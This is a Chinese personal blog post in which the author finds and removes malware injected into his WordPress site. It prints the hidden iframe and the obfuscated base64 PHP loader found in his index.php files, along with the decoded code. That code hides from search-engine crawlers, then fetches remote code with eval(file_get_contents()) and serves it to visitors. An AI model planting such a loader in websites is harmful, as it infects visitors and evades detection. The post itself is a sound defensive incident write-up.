且行且远
分类: 编程菜园 由 ssfighter 于 2012年7月2日 发表

今天早晨登录自己的博客,忽然发现被报成了有害站点,一查,Google说该网站被挂马了,很奇怪啊,我自己这么小的网站都会被挂马?一开始还不太相信,因为自己看页面源代码的时候一点问题都没有,还以为是Google搞错了,后来用Rex Swain’s HTTP Viewer看了一下才发现,原来我的http://blog.ssfighter.com/果然有一个iframe:

<iframe src="http://directs33.in/in.cgi?55764" width="1" height="1" frameborder="0"></iframe>

看来果然是被挂马了,可是我的主页上却没有被挂马,相册、维基也没事,而在我空间上挂的别人的博客却也被挂上了一样的木马,非常奇怪,但却死活都找不到木马到底挂在了哪个文件上。grep了一通也没找到,最后从网上下载了一份新的Wordpress,把自己Wordpress的代码和干净的Wordpress比对了一下,发现了点问题,在wp-content/index.php文件里面发现了这么一段:

<?php /*68066*/ error_reporting(0); @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('display_errors','Off'); @eval( base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKJHozNz0ic3RhdHMiOwokdWEzPSRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXTsKJHUzNyA9IGFycmF5KCJHb29nbGUiLCAiU2x1cnAiLCAiTVNOQm90IiwgImlhX2FyY2hpdmVyIiwgIllhbmRleCIsICJSYW1ibGVyIiwgIk1hYyIsICJpbnV4IiwgIlgxMSIpOwppZigocHJlZ19tYXRjaCgiLyIgLiBpbXBsb2RlKCJ8IiwgJHUzNykgLiAiL2kiLCAkdWEzKSkgb3IgKGlzc2V0KCRfU0VSVkVSWyJIVFRQX1JFRkVSRVIiXSkgPT0wKSAgb3IgKGlzc2V0KCRfU0VSVkVSWyJIVFRQX0NPT0tJRSJdKSkgIG9yIChpc3NldCgkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0pID09MCkgKQp7fQplbHNlCnsKQHNldGNvb2tpZSgkejM3LG1kNSgic3RhdHMiKSx0aW1lKCkrMTcyODAwKTsKJHVybCA9ICJodHRwOi8vNDA0MGVudC5jb20vc2Vzc2lvbi5waHA/aWQiOwokaWZyYW1lPUBldmFsKGZpbGVfZ2V0X2NvbnRlbnRzICgkdXJsKSk7CmlmICgkaWZyYW1lKSBlY2hvKCRpZnJhbWUpOyAKfQoK'));/*68066*/ ?>

看来这就是问题所在,用Base64给那一大堆字符解码,可以看到:

error_reporting(0);
set_time_limit(0);
$z37="stats";
$ua3=$_SERVER["HTTP_USER_AGENT"];
$u37 = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler", "Mac", "inux", "X11");
if((preg_match("/" . implode("|", $u37) . "/i", $ua3)) or (isset($_SERVER["HTTP_REFERER"]) ==0)  or (isset($_SERVER["HTTP_COOKIE"]))  or (isset($_SERVER["HTTP_USER_AGENT"]) ==0) )
{}
else
{
@setcookie($z37,md5("stats"),time()+172800);
$url = "http://4040ent.com/session.php?id";
$iframe=@eval(file_get_contents ($url));
if ($iframe) echo($iframe);
}

果然,这里就是挂的马,这个68066的注释很有意思,正好用这个作为特征值在wordpress目录下用grep扫一遍:

grep -r '68066' ./

可以发现所有的index.php文件都被挂马了,再回到www的根目录下发现果然是所有的index.php都在头上加了这么一段,把这些东西都清除掉,万事大吉。再查,在非www目录里的index.php都没有被感染。

很抱歉一直没发现自己的博客被挂马,影响了大家,真对不起。我已经向Google申请review,希望能尽快把这个“已被报告的攻击站点”给去掉。最后总结一下,尽管是小站,还是要多加注意,以前完全没想到自己一个个人的小站也会被挂马,没仔细查原因,看起来似乎是从FTP那边进攻的,先把FTP服务给关掉好了,反正自己一时半会也用不到。



发表评论

昵称:  (必须)
邮件:  (必须)
网址: 
评论: